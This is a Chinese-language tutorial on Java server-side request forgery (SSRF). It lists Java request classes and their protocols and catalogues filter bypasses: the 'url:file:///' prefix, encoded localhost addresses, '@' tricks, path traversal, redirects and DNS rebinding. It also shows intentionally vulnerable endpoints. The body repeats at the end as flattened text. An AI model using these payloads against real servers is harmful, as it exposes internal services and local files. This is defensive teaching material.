聚焦 Java SSRF 漏洞及其绕过方法:从PHP开始
字数 1786 2025-08-11 08:36:26

Java SSRF漏洞及其绕过方法详解

1. SSRF漏洞概述

服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种攻击技术,攻击者通过构造恶意请求,欺骗服务器发起请求,从而导致服务器攻击自身或攻击其他受信任的服务器和应用程序。

2. PHP与Java的SSRF差异

PHP支持的协议

  • 当PHP加载curl组件时,支持的协议更广泛
  • 常用协议包括:http、https、ftp、ftps、file、gopher等
  • PHP特有的伪协议

Java支持的协议

  • import sun.net.www.protocol可以看到支持的协议:
    • file
    • ftp
    • http
    • https
    • jar
    • mailto
    • netdoc
  • JDK版本差异:
    • JDK 1.7:存在gopher协议但实际不可用
    • JDK 1.8:netdoc协议可用
    • JDK 11:netdoc被弃用

3. Java发起网络请求的类

1. HttpClient

  • 只能使用http协议
  • 示例代码:
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet);
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String line;
while ((line = rd.readLine()) != null) {
    result.append(line);
}
result.toString()

2. Request类

  • 封装了HttpClient类,只能使用http协议
  • 示例:
Request.Get(url).execute().returnContent().toString();

3. HttpURLConnection类

  • 继承URLConnection,只能发送http请求
  • 示例:
String url = "https://www.baidu.com/";
URL url = new URL(url);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.connect();
int responseCode = connection.getResponseCode();
if(responseCode == HttpURLConnection.HTTP_OK){
    InputStream inputStream = connection.getInputStream();
    String result = is2String(inputStream);
}

4. URLConnection类

  • 支持jar、http、file、ftp、netdoc协议
  • 示例:
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
    html.append(inputLine);
}
in.close();
return html.toString();

5. URL类

  • 支持所有jar、http、file、ftp、jar、netdoc协议
  • 示例:
String urlContent = "";
final URL url = new URL(url);
final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
    urlContent = urlContent + inputLine + "\n";
}
in.close();
System.out.println(urlContent);

6. okhttp类

  • 只能使用http协议
  • 示例:
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
return client.newCall(ok_http).execute().body().string();

7. ImageIO类

  • 通过URL类发起请求
  • 示例:
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞

4. 关键函数

  1. openStream(): 打开与此连接,并返回一个输入流
  2. getInputStream(): 发送连接获取资源
  3. openConnection(): 打开与此连接
  4. HttpGet execute
  5. URLConnection
  6. ImageIO.read

5. SSRF绕过方法

协议绕过

  1. 低版本中的file协议利用:

    • file协议=netdoc协议(高版本中已经淘汰netdoc协议,1.8还可以用)
  2. 高版本中的file协议利用:

    • 加载url: url:file:///c:/windows/win.ini (用的url类、urlconnection类)
    • url:http://127.0.0.1 (url:为大小写都可以)
    • URL:http://127.0.0.1
  3. 绕过正则匹配的协议限制:

    • url发送请求使用%0a%0d%20
    • ASCII小于空格的同样可以正常发送请求

地址绕过

  1. 域名绕过:

    • 利用函数进行域名后缀过滤的逻辑缺陷漏洞
    • 示例:
    String url="http://bypasstest.com";
    URI uri = new URI(url);
    String host=uri.getHost().toLowerCase();
    boolean b = host.endsWith("test.com"); // 只要以test.com结尾即可绕过
    
  2. 本地地址绕过:

    # 等价于127.0.0.1
    http://127.0.0.1:80
    http://127.1:80
    http://0.0.0.0:80
    http://localhost:80
    http://0.0.0.0
    http://127.127.127.127
    
    # ipv6地址
    http://[::]:80/
    http://[0000::1]:80/
    http://[::1]:80/
    http://[0:0:0:0:0:ffff:127.0.0.1]
    
    # 解析为127.0.0.1的域名
    http://localtest.me = http://127.0.0.1
    http://a.b.c.localtest.me = http://127.0.0.1
    
    # 通配符dns
    http://customer1.app.localhost.my.company.127.0.0.1.nip.io = http://127.0.0.1
    http://127.0.0.1.nip.io = http://127.0.0.1
    
    # 10进制
    http://2130706433/ = http://127.0.0.1
    http://3232235521/ = http://192.168.0.1
    http://3232235777/ = http://192.168.1.1
    
    # 8进制
    http://0177.0000.0000.0001 = http://192.168.1.1
    
    # 16进制
    http://0x7F000001 = http://127.0.0.1
    
    # 利用@符号进行url跳转
    https://www.baidu.com@www.jd.com = https://www.jd.com
    

路径拓展绕过

  1. 场景1:代码限制只能访问某路径或后缀结尾

    https://domain/vulerable/path#/expected/path
    https://domain/vulerable/path#.extension
    
  2. 场景2:代码限制只能访问限定的路径

    https://domain/expected/path/../..//vulnerable/path
    

重定向绕过

  1. Java默认跟随重定向,且重定向必须和url协议一致,不一致返回空页面
  2. 手动处理重定向示例:
    @RequestMapping(value = "/ssrf/vuln4", method = {RequestMethod.POST, RequestMethod.GET})
    @ResponseBody
    public Integer redirect(String url) throws IOException {
        HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection();
        connection.setInstanceFollowRedirects(false);
        connection.setUseCaches(false);
        connection.setRequestMethod("GET");
        connection.connect();
        int responseCode = connection.getResponseCode();
        System.out.println(responseCode);
        return responseCode;
    }
    

DNS Rebinding绕过

  1. Java默认TTL为10,PHP默认TTL为0

  2. 修改TTL的方法

    • JVM添加启动参数-Dsun.net.inetaddr.ttl=0
    • 通过代码修改:java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
    • 修改java.security里的networkaddress.cache.negative.ttl变量为0
  3. 实现步骤

    • 域名解析设置解析到指定服务器
    • 在VPS上开启DNS服务器(开启UDP 53端口)
    • 使用twisted实现DNS服务,设置TTL为0

6. 总结要点

  1. Java默认跟随重定向,且重定向必须和url协议一致,不一致返回空页面
  2. Java默认TTL为10,php默认TTL为0
  3. 是否受DNS Rebinding影响取决于缓存
  4. url类和urlConnection类使用url:协议可绕过检测黑名单协议
  5. 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议
  6. java主要利用http、netdoc、file、jar协议
  7. php可以用的协议超过了java协议,其中包括gopher、伪协议等
Java SSRF漏洞及其绕过方法详解 1. SSRF漏洞概述 服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种攻击技术,攻击者通过构造恶意请求,欺骗服务器发起请求,从而导致服务器攻击自身或攻击其他受信任的服务器和应用程序。 2. PHP与Java的SSRF差异 PHP支持的协议 当PHP加载curl组件时,支持的协议更广泛 常用协议包括:http、https、ftp、ftps、file、gopher等 PHP特有的伪协议 Java支持的协议 从 import sun.net.www.protocol 可以看到支持的协议: file ftp http https jar mailto netdoc JDK版本差异: JDK 1.7:存在gopher协议但实际不可用 JDK 1.8:netdoc协议可用 JDK 11:netdoc被弃用 3. Java发起网络请求的类 1. HttpClient 只能使用http协议 示例代码: 2. Request类 封装了HttpClient类,只能使用http协议 示例: 3. HttpURLConnection类 继承URLConnection,只能发送http请求 示例: 4. URLConnection类 支持jar、http、file、ftp、netdoc协议 示例: 5. URL类 支持所有jar、http、file、ftp、jar、netdoc协议 示例: 6. okhttp类 只能使用http协议 示例: 7. ImageIO类 通过URL类发起请求 示例: 4. 关键函数 openStream() : 打开与此连接,并返回一个输入流 getInputStream() : 发送连接获取资源 openConnection() : 打开与此连接 HttpGet execute URLConnection ImageIO.read 5. SSRF绕过方法 协议绕过 低版本中的file协议利用 : file协议=netdoc协议(高版本中已经淘汰netdoc协议,1.8还可以用) 高版本中的file协议利用 : 加载url: url:file:///c:/windows/win.ini (用的url类、urlconnection类) url:http://127.0.0.1 (url:为大小写都可以) URL:http://127.0.0.1 绕过正则匹配的协议限制 : url发送请求使用 %0a 、 %0d 、 %20 ASCII小于空格的同样可以正常发送请求 地址绕过 域名绕过 : 利用函数进行域名后缀过滤的逻辑缺陷漏洞 示例: 本地地址绕过 : 路径拓展绕过 场景1 :代码限制只能访问某路径或后缀结尾 场景2 :代码限制只能访问限定的路径 重定向绕过 Java默认跟随重定向 ,且重定向必须和url协议一致,不一致返回空页面 手动处理重定向 示例: DNS Rebinding绕过 Java默认TTL为10 ,PHP默认TTL为0 修改TTL的方法 : JVM添加启动参数 -Dsun.net.inetaddr.ttl=0 通过代码修改: java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); 修改 java.security 里的 networkaddress.cache.negative.ttl 变量为0 实现步骤 : 域名解析设置解析到指定服务器 在VPS上开启DNS服务器(开启UDP 53端口) 使用twisted实现DNS服务,设置TTL为0 6. 总结要点 Java默认跟随重定向,且重定向必须和url协议一致,不一致返回空页面 Java默认TTL为10,php默认TTL为0 是否受DNS Rebinding影响取决于缓存 url类和urlConnection类使用 url: 协议可绕过检测黑名单协议 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议 java主要利用http、netdoc、file、jar协议 php可以用的协议超过了java协议,其中包括gopher、伪协议等